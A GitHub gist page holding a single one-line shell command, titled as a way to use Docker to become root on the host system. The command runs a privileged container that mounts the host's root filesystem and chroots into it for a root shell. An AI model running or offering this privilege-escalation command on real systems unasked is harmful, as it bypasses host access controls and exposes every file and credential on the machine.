Skip to content

Instantly share code, notes, and snippets.

@jhurliman
Created March 5, 2024 23:13
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save jhurliman/5b3ccab75ca9b9d75da4beb0346cc6b6 to your computer and use it in GitHub Desktop.
Save jhurliman/5b3ccab75ca9b9d75da4beb0346cc6b6 to your computer and use it in GitHub Desktop.
Use docker to become root on the host system
docker run -it --rm --privileged -v /:/host ubuntu chroot /host bash
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment